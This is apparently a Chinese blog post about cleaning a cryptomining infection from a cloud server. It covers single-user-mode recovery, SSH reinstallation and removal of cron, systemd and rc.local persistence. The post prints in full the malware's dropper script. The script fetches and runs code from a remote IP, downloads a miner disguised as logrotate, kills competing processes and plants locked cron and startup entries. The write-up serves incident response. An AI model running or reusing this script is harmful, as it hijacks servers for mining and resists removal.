![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345bd1a47.png\")
<\/p>\n\u670d\u52a1\u5668ssh\u767b\u5f55\u4e0d\u4e0a，\u4e00\u76f4\u5904\u4e8e\u767b\u5f55\u4e2d\u72b6\u6001\u3002<\/p>\n<\/p>\n
<\/p>\n
\u4e8e\u662f\u8fdb\u5165\u4e91\u670d\u52a1\u5668\u63a7\u5236\u53f0，CPU\u6253\u6ee1\u72b6\u6001，\u77e5\u9053\u670d\u52a1\u5668\u88ab\u653b\u51fb\u4e86<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345be6da0.png\")
<\/p>\n
\u817e\u8baf\u4e91\u5165\u4fb5\u68c0\u6d4b，\u9ad8\u5371\u547d\u4ee4\u62a5\u8b66<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345c27dc4.png\")
<\/p>\n
\u7531\u4e8eSSH\u767b\u5f55\u4e0d\u4e0a，\u8fdb\u5165\u4e91\u670d\u52a1\u5668\u63a7\u5236\u53f0，\u5c1d\u8bd5VNC\u767b\u5f55，\u5f88\u9057\u61be\u4e5f\u662f\u8fdb\u4e0d\u53bb\u670d\u52a1\u5668，\u4e00\u76f4\u5904\u4e8elogin\u767b\u5f55\u4e2d\u72b6\u6001<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345cb5661.png\")
<\/p>\n
\u91cd\u542f\u670d\u52a1\u5668，\u5728VNC\u63a7\u5236\u53f0\u770b\u5230\u670d\u52a1\u5668\u65e0\u6cd5\u91cd\u542f\u4e00\u76f4\u9501\u6b7b<\/p>\n
sql<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
A start job is running for \/etc\/rc.d\/local Compatibility <\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345cd2b92.png\")
<\/p>\n
\u53c2\u8003 blog.csdn.net\/qq_36025814\u2026<\/p>\n
\u4ec0\u4e48\u662f\u5355\u7528\u6237\u6a21\u5f0f\u5462？<\/p>\n
\u5355\u7528\u6237\u6a21\u5f0f\u548c\u6551\u63f4\u6a21\u5f0f\u4e3b\u8981\u7528\u4e8e\u7cfb\u7edf\u51fa\u73b0\u9519\u8bef\u914d\u7f6e\u4e0d\u80fd\u6b63\u5e38\u542f\u52a8\u7684\u65f6\u5019，\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e24\u79cd\u6a21\u5f0f\u6765\u66f4\u6539\u9519\u8bef\u914d\u7f6e\u3002\u8fd8\u6709\u5c31\u662f\u5f53\u5fd8\u8bb0root\u5bc6\u7801\u65f6\u5c31\u53ea\u6709\u7528\u8fd9\u4e24\u79cd\u65b9\u5f0f\u6765\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002<\/p>\n
\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c，\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199，\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801，\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u4e3b\u8981\u7528\u5728\u914d\u7f6e\u9519\u8bef\u5bfc\u81f4\u7cfb\u7edf\u542f\u52a8\u4e0d\u4e86，\u6216\u8005root\u547d\u4ee4\u5fd8\u8bb0\u65f6\u3002\u6ce8\u610f\u8fd9\u4e2a\u6a21\u5f0f\u4e0b\u662f\u6ca1\u6709\u7f51\u7edc\u8fde\u63a5\u7684\u3002<\/p>\n
\u4e0a\u9762\u770b\u5230\u91cd\u542f\u9501\u6b7b，\u8fd9\u4e2a \/etc\/rc.d\/rc.local \u6587\u4ef6\u662f\u5f00\u673a\u81ea\u542f\u52a8shell\u811a\u672c，\u901a\u5e38\u4f1a\u52a0\u4e0a\u4e00\u4e9b\u9700\u8981\u5f00\u542f\u81ea\u542f\u52a8\u7684\u811a\u672c，\u6211\u4eec\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f\u6765\u4fee\u6539\u8fd9\u4e2a\u6587\u4ef6，\u770b\u91cc\u9762\u88ab\u7be1\u6539\u4e86\u4ec0\u4e48<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d1be4f.png\")
<\/p>\n
\u70b9\u51fb\u00a0\u786e\u5b9a，\u7cfb\u7edf\u5f00\u673a\u4e2d，\u7136\u540e\u7acb\u5373\u70b9\u51fb\u00a0e（\u591a\u6b21\u70b9\u51fb\u542f\u52a8\u5185\u6838）<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d31ff8.png\")
<\/p>\n
\u8fdb\u5165\u540e\u6309\u5230\u6700\u540e \u589e\u52a0 init=\/bin\/sh ， \u800c\u4e14\u628a\u539f\u6765 ro \u6216\u8005 r\\\\o \u4fee\u6539\u4e3a rw ，\u8bbe\u7f6e\u4e3a\u6587\u4ef6\u53ef\u4fee\u6539，\u5426\u5219\u63d0\u793a\u53ea\u8bfb，\u659c\u6760\u53ea\u662f\u6362\u884c\u7b26\u4e0d\u7528\u7ba1<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d4009c.png\")
<\/p>\n
\u6309\u4f4f\u00a0Ctrl\u00a0+\u00a0x\u00a0，\u5373\u53ef\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f，\u5bf9\u7cfb\u7edf\u5185\u6587\u4ef6\u8fdb\u884c\u64cd\u4f5c\u3002<\/p>\n<\/p>\n
![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d54efb.png\")
<\/p>\n
\u770b\u5230\u88ab\u75c5\u6bd2\u4fee\u6539\u589e\u52a0\u4e86\u811a\u672c logservice.sh，\u5220\u9664\u6389\u8fd9\u53e5\u811a\u672c<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d62861.png\")
<\/p>\n
\u4fee\u6539\u5b8c\u6210\u540e，\u6267\u884c exec \/sbin\/init \u9000\u51fa\u5355\u7528\u6237\u6a21\u5f0f，\u542f\u52a8\u6210\u529f\u3002<\/p>\n
\u6b64\u65f6\u53d1\u73b0ssh\u767b\u5f55\u8fd8\u662f\u5931\u8d25，\u901a\u8fc7VNC\u767b\u5f55\u767b\u5f55\u5f88\u4e45，\u5341\u51e0\u4e8c\u5341\u5206\u949f\u624d\u8fdb\u5165\u5230\u670d\u52a1\u5668\u3002\u6293\u4f4f\u673a\u4f1a\u3002<\/p>\n
\u4e3a\u4e86\u80fdssh\u767b\u5f55，\u6b64\u65f6\u5378\u8f7dssh\u5e76\u91cd\u88c5<\/p>\n
bash<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
# \u53ef\u4ee5\u901a\u8fc7\u8fd9\u6761\u547d\u4ee4\u67e5\u770b\u5378\u8f7d\u524d\u540e\u7684openssh\u76f8\u5173\u670d\u52a1\u5b89\u88c5\u60c5\u51b5<\/p>\n
rpm -qa openssh* <\/p>\n
# \u5378\u8f7d yum remove openssh* <\/p>\n
# \u5b89\u88c5 yum install -y openssh-server <\/p>\n
# \u542f\u52a8\u670d\u52a1 systemctl start sshd systemctl enable sshd <\/p>\n
\u53c2\u8003 blog.csdn.net\/qq32933432\/\u2026<\/p>\n
\u901a\u8fc7\u62a5\u8b66\u627e\u5230logservice.sh\u811a\u672c\u5730\u5740 http:\/\/185.196.8.123\/logservice.sh<\/p>\n
js<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
#!\/bin\/sh { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >\/dev\/null 2>&1 ps -eo pid,%cpu,comm –sort=-%cpu | awk 'NR>1 && !\/awk|ps\/ && !($3 ~ \/^(logrotate|sshd|java)$\/) && int($2) > 60 { system("kill -9 " $1) }' EXEC="source <(wget -q -O – http:\/\/185.196.8.123\/logservice.sh || curl -sL http:\/\/185.196.8.123\/logservice.sh)" trap 'rm — "$0"' EXIT if [ -z "${HOME+x}" ]; then export HOME=\/tmp fi mkdir -p "$HOME\/.config" >\/dev\/null 2>&1 [ ! -f "$HOME\/.config\/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="http:\/\/185.196.8.123\/silicon64blueprints.png" [ "$ARCH" = "aarch64" ] && URL="http:\/\/185.196.8.123\/siliconarmblueprints.png" [ -z "$URL" ] && URL="http:\/\/185.196.8.123\/silicon64blueprints.png" { wget -q -O "$HOME\/.config\/logrotate" "$URL" || curl -sL -o "$HOME\/.config\/logrotate" "$URL"; } >\/dev\/null 2>&1 chmod +x "$HOME\/.config\/logrotate" >\/dev\/null 2>&1 } pgrep -f "config\/logrotate" >\/dev\/null 2>&1 || "$HOME\/.config\/logrotate" add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >\/dev\/null 2>&1" "$1"; then echo "$EXEC >\/dev\/null 2>&1" >> "$1" fi fi } case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME\/.bashrc" add_to_startup "$HOME\/.bash_logout" ;; zsh) add_to_startup "$HOME\/.zshrc" ;; esac [ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e \/etc\/debian_version ] && RCLOCAL='\/etc\/rc.local' [ -e \/etc\/centos-release -o -e \/etc\/redhat-release ] && RCLOCAL='\/etc\/rc.d\/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >\/etc\/systemd\/system\/logrotate.service <<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME\/.config\/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOL sudo systemctl daemon-reload 2>\/dev\/null sudo systemctl enable logrotate.service 2>\/dev\/null [ -d \/var\/spool\/cron ] && [ -f \/var\/spool\/cron\/root ] && echo "@daily $EXEC" >> \/var\/spool\/cron\/root 2>\/dev\/null [ -d \/var\/spool\/cron\/crontabs ] && [ -f \/var\/spool\/cron\/crontabs\/root ] && echo "@daily $EXEC" >> \/var\/spool\/cron\/crontabs\/root 2>\/dev\/null [ -f \/etc\/crontab ] && echo "@daily $EXEC" >> \/etc\/crontab 2>\/dev\/null && sudo chattr +i \/etc\/crontab 2>\/dev\/null [ -d \/etc\/cron.hourly ] && echo "$EXEC" >> \/etc\/cron.hourly\/logrotate 2>\/dev\/null && sudo chmod +x \/etc\/cron.hourly\/logrotate 2>\/dev\/null && sudo chattr +i \/etc\/cron.hourly\/logrotate 2>\/dev\/null [ -d \/etc\/cron.daily ] && echo "$EXEC" >> \/etc\/cron.daily\/logrotate 2>\/dev\/null && sudo chmod +x \/etc\/cron.daily\/logrotate 2>\/dev\/null && sudo chattr +i \/etc\/cron.daily\/logrotate 2>\/dev\/null [ -d \/etc\/cron.weekly ] && echo "$EXEC" >> \/etc\/cron.weekly\/logrotate 2>\/dev\/null && sudo chmod +x \/etc\/cron.weekly\/logrotate 2>\/dev\/null && sudo chattr +i \/etc\/cron.weekly\/logrotate 2>\/dev\/null [ -d \/etc\/cron.monthly ] && echo "$EXEC" >> \/etc\/cron.monthly\/logrotate 2>\/dev\/null && sudo chmod +x \/etc\/cron.monthly\/logrotate 2>\/dev\/null && sudo chattr +i \/etc\/cron.monthly\/logrotate 2>\/dev\/null [ -d \/etc\/cron.yearly ] && echo "$EXEC" >> \/etc\/cron.yearly\/logrotate 2>\/dev\/null && sudo chmod +x \/etc\/cron.yearly\/logrotate 2>\/dev\/null && sudo chattr +i \/etc\/cron.yearly\/logrotate 2>\/dev\/null } <\/p>\n
\u8fd9\u6bb5\u811a\u672c\u7684\u5927\u6982\u89e3\u91ca<\/p>\n
– \u7ec8\u6b62\u4e4b\u524d\u7684xmrig\u5b9e\u4f8b：<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528pkill\u6216kill\u547d\u4ee4\u7ec8\u6b62\u4efb\u4f55\u6b63\u5728\u8fd0\u884c\u7684\u540d\u4e3a\u201cxmrig\u201d\u7684\u7a0b\u5e8f，\u5e76\u5c06\u4efb\u4f55\u9519\u8bef\u6216\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\/dev\/null（\u6709\u6548\u5730\u5c06\u5b83\u4eec\u9759\u97f3）\u3002<\/p>\n
– \u7ec8\u6b62\u9ad8CPU\u4f7f\u7528\u7387\u7684\u8fdb\u7a0b：<\/p>\n
\u901a\u8fc7\u7ed3\u5408\u4f7f\u7528ps\u3001awk\u548ckill\u6765\u627e\u51fa\u5e76\u7ec8\u6b62\u672a\u660e\u786e\u6392\u9664\u4e14\u6d88\u8017\u8d85\u8fc760% CPU\u7684\u4efb\u4f55\u8fdb\u7a0b\u3002<\/p>\n
– \u4e0b\u8f7d\u5e76\u6267\u884c\u8fdc\u7a0b\u811a\u672c：<\/p>\n
\u8bbe\u7f6e\u4e00\u4e2a\u53d8\u91cfEXEC，\u7528\u4e8e\u83b7\u53d6\u5e76\u6267\u884c\u4e00\u4e2a\u8fdc\u7a0b\u670d\u52a1\u5668(185.196.8.123:8080)\u4e0a\u7684\u811a\u672c（logservice.sh）\u3002<\/p>\n
– \u8bbe\u7f6e\u73af\u5883：<\/p>\n
\u786e\u4fdd\u8bbe\u7f6e\u4e86HOME\u73af\u5883\u53d8\u91cf，\u5982\u679c\u672a\u8bbe\u7f6e，\u9ed8\u8ba4\u4e3a\/tmp，\u5e76\u5728HOME\u4e0b\u51c6\u5907\u4e00\u4e2a.config\u76ee\u5f55\u3002<\/p>\n
– \u6839\u636e\u67b6\u6784\u4e0b\u8f7d\u5e76\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6：<\/p>\n
\u68c0\u67e5\u7cfb\u7edf\u67b6\u6784\u5e76\u4ece\u540c\u4e00\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0b\u8f7d\u7279\u5b9a\u6587\u4ef6（\u5047\u5b9a\u4e3a\u4e8c\u8fdb\u5236\u6587\u4ef6），\u5c06\u5176\u4f5c\u4e3alogrotate\u4fdd\u5b58\u5728.config\u76ee\u5f55\u4e2d，\u7136\u540e\u4f7f\u5176\u53ef\u6267\u884c\u3002<\/p>\n
– \u6301\u4e45\u6027\u673a\u5236：<\/p>\n
\u5c06\u8fdc\u7a0b\u811a\u672c\u6267\u884c\u6dfb\u52a0\u5230Bash\u548cZsh shell\u7684\u542f\u52a8\u6587\u4ef6\u4e2d，\u4ee5\u4fbf\u6bcf\u6b21\u542f\u52a8shell\u4f1a\u8bdd\u65f6\u90fd\u4f1a\u6267\u884c\u5b83\u3002 \u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d，\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5，\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664，\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002<\/p>\n
\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6，\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55（\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74）\u4e2d，\u5e76\u4f7f\u7528chattr +i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002<\/p>\n
\u4e5f\u5c31\u662f\u8bf4\u8fd9\u6bb5\u811a\u672c\u4f1a\u91c7\u7528\u5b9a\u65f6\u4efb\u52a1\u548c\u5f00\u673a\u542f\u52a8\u9879\u7b49\u65b9\u5f0f，\u53bb\u8fdc\u7a0b\u4e0b\u8f7d\u4e00\u4e9b\u6587\u4ef6，\u5e76\u628a\u4ed6\u4eec\u4f2a\u9020\u6210\u6b63\u5e38\u7684logrotate\u670d\u52a1\u6765\u8fd0\u884c<\/p>\n
\u77e5\u9053\u4e86\u811a\u672c\u7684\u8fd0\u4f5c\u673a\u5236，\u5c31\u597d\u89e3\u51b3\u4e86<\/p>\n
\u4f7f\u7528ps -ef|grep logrotate\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u75c5\u6bd2\u7684\u76ee\u5f55，\u53bb\u628a\u5bf9\u5e94\u7684\u6587\u4ef6\u5220\u6389<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d8675a.png\")
<\/p>\n
\u5148\u628a\u4ed6kill\u6389<\/p>\n
bash<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
kill -9 16006 <\/p>\n
\u7136\u540e\u5220\u9664\u6587\u4ef6<\/p>\n
bash<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
rm -rf \/root\/.config\/logrotate <\/p>\n
\u4f7f\u7528top\u547d\u4ee4，\u627e\u5230\u540d\u79f0\u4e3alogrotate\u7684\u670d\u52a1，\u8fd9\u4e2a\u5360\u7528\u4e86\u5927\u91cfCPU，\u628a\u670d\u52a1\u7ed3\u675f\u6389kill -9 id，\u6709\u53ef\u80fd\u5728\u5220\u9664\u4e86\u75c5\u6bd2\u6587\u4ef6\u4e4b\u540etop\u8fd9\u91cc\u5c31\u770b\u4e0d\u5230\u8fd9\u4e2a\u8fdb\u7a0b\u4e86<\/p>\n
bash<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
# \u5148\u4f7f\u7528\u8fd9\u4e2a\u547d\u4ee4\u67e5\u770b\u662f\u5426\u6709\u670d\u52a1 <\/p>\n
systemctl list-unit-files |grep logrotate.service <\/p>\n
# \u7136\u540e\u6e05\u9664\u670d\u52a1 <\/p>\n
systemctl disable logrotate.service <\/p>\n
# \u627e\u5230\u670d\u52a1\u6587\u4ef6\u6240\u5728\u4f4d\u7f6e <\/p>\n
find \/ -name logrotate.service <\/p>\n
# \u5220\u9664\u670d\u52a1\u6587\u4ef6 rm -rf \u4e0a\u4e00\u53e5\u6587\u4ef6\u4f4d\u7f6e <\/p>\n
\u4f7f\u7528crontab -l\u4f1a\u5217\u51fa\u6240\u6709\u5f53\u524d\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1，\u4f7f\u7528crontab -e\u628a\u76f8\u5173\u4efb\u52a1\u5220\u6389\u4fdd\u5b58，\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u5b9a\u65f6\u4efb\u52a1\u4e0d\u5728root\u7528\u6237\u5219\u4f7f\u7528\u6b64\u547d\u4ee4\u770b\u4e0d\u5230<\/p>\n
\u6253\u5f00\u6587\u4ef6 \/etc\/crontab , \u7f16\u8f91\u91cc\u9762\u79fb\u9664\u75c5\u6bd2\u76f8\u5173\u7684\u811a\u6b65\u547d\u4ee4，\u4fdd\u5b58\u540e\u6267\u884c crontab \/etc\/crontab \u751f\u6548<\/p>\n
bash<\/p>\n
\u4ee3\u7801\u89e3\u8bfb<\/p>\n
\u590d\u5236\u4ee3\u7801<\/p>\n
# \u7136\u540e\u6267\u884c\u89e3\u9501\u547d\u4ee4,\u5982\u679c\u4e0a\u9762\u7684ia\u5c31\u662f-ai \u5982\u679c\u662f\u53ea\u7528\u4e00\u4e2ai\u5c31\u662f-i <\/p>\n
chattr -ai \/etc\/cron.hourly\/logrotate; <\/p>\n
chattr -ai \/etc\/cron.daily\/logrotate; <\/p>\n
chattr -ai \/etc\/cron.weekly\/logrotate; <\/p>\n
chattr -ai \/etc\/cron.monthly\/logrotate; <\/p>\n
chattr -ai \/etc\/cron.yearly\/logrotate; <\/p>\n
# \u5220\u9664 <\/p>\n
rm -rf \/etc\/cron.hourly\/logrotate; <\/p>\n
rm -rf \/etc\/cron.daily\/logrotate; <\/p>\n
rm -rf \/etc\/cron.weekly\/logrotate; <\/p>\n
rm -rf \/etc\/cron.monthly\/logrotate; <\/p>\n
rm -rf \/etc\/cron.yearly\/logrotate; <\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345daf261.png\")
<\/p>\n
\u5148\u67e5\u770b $HOME \u662f\u54ea\u4e2a\u76ee\u5f55<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345ddc096.png\")
<\/p>\n
\u7f16\u8f91\u8fd9\u4e9b\u6587\u4ef6，\u628a\u5f02\u5e38\u4fe1\u606f\u5220\u6389<\/p>\n<\/p>\n
![\"image.png\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345de714c.png\")
<\/p>\n
\u53ea\u5bf9\u4e00\u4e9bip\u548c\u7aef\u53e3\u5f00\u653e<\/p>\n
\u5230\u6b64，\u6240\u6709\u7684\u6e05\u9664\u5de5\u4f5c\u5c31\u7ed3\u675f\u4e86，\u4fee\u6539\u4e0b\u5bc6\u7801，\u91cd\u542f\u670d\u52a1\u5668\u5e94\u8be5\u5c31\u53ef\u4ee5\u4e86<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1.7k\u6b21\uff0c\u70b9\u8d5e23\u6b21\uff0c\u6536\u85cf12\u6b21\u3002\u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d\uff0c\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5\uff0c\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664\uff0c\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c\uff0c\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199\uff0c\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801\uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55\uff08\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74\uff09\u4e2d\uff0c\u5e76\u4f7f\u7528chattr +i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002_logrotate\u5360\u7528cpu\u9ad8<\/p>\n","protected":false},"author":2,"featured_media":12143,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[58,78,44],"topic":[],"class_list":["post-12157","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-linux","tag-78","tag-44"],"yoast_head":"\n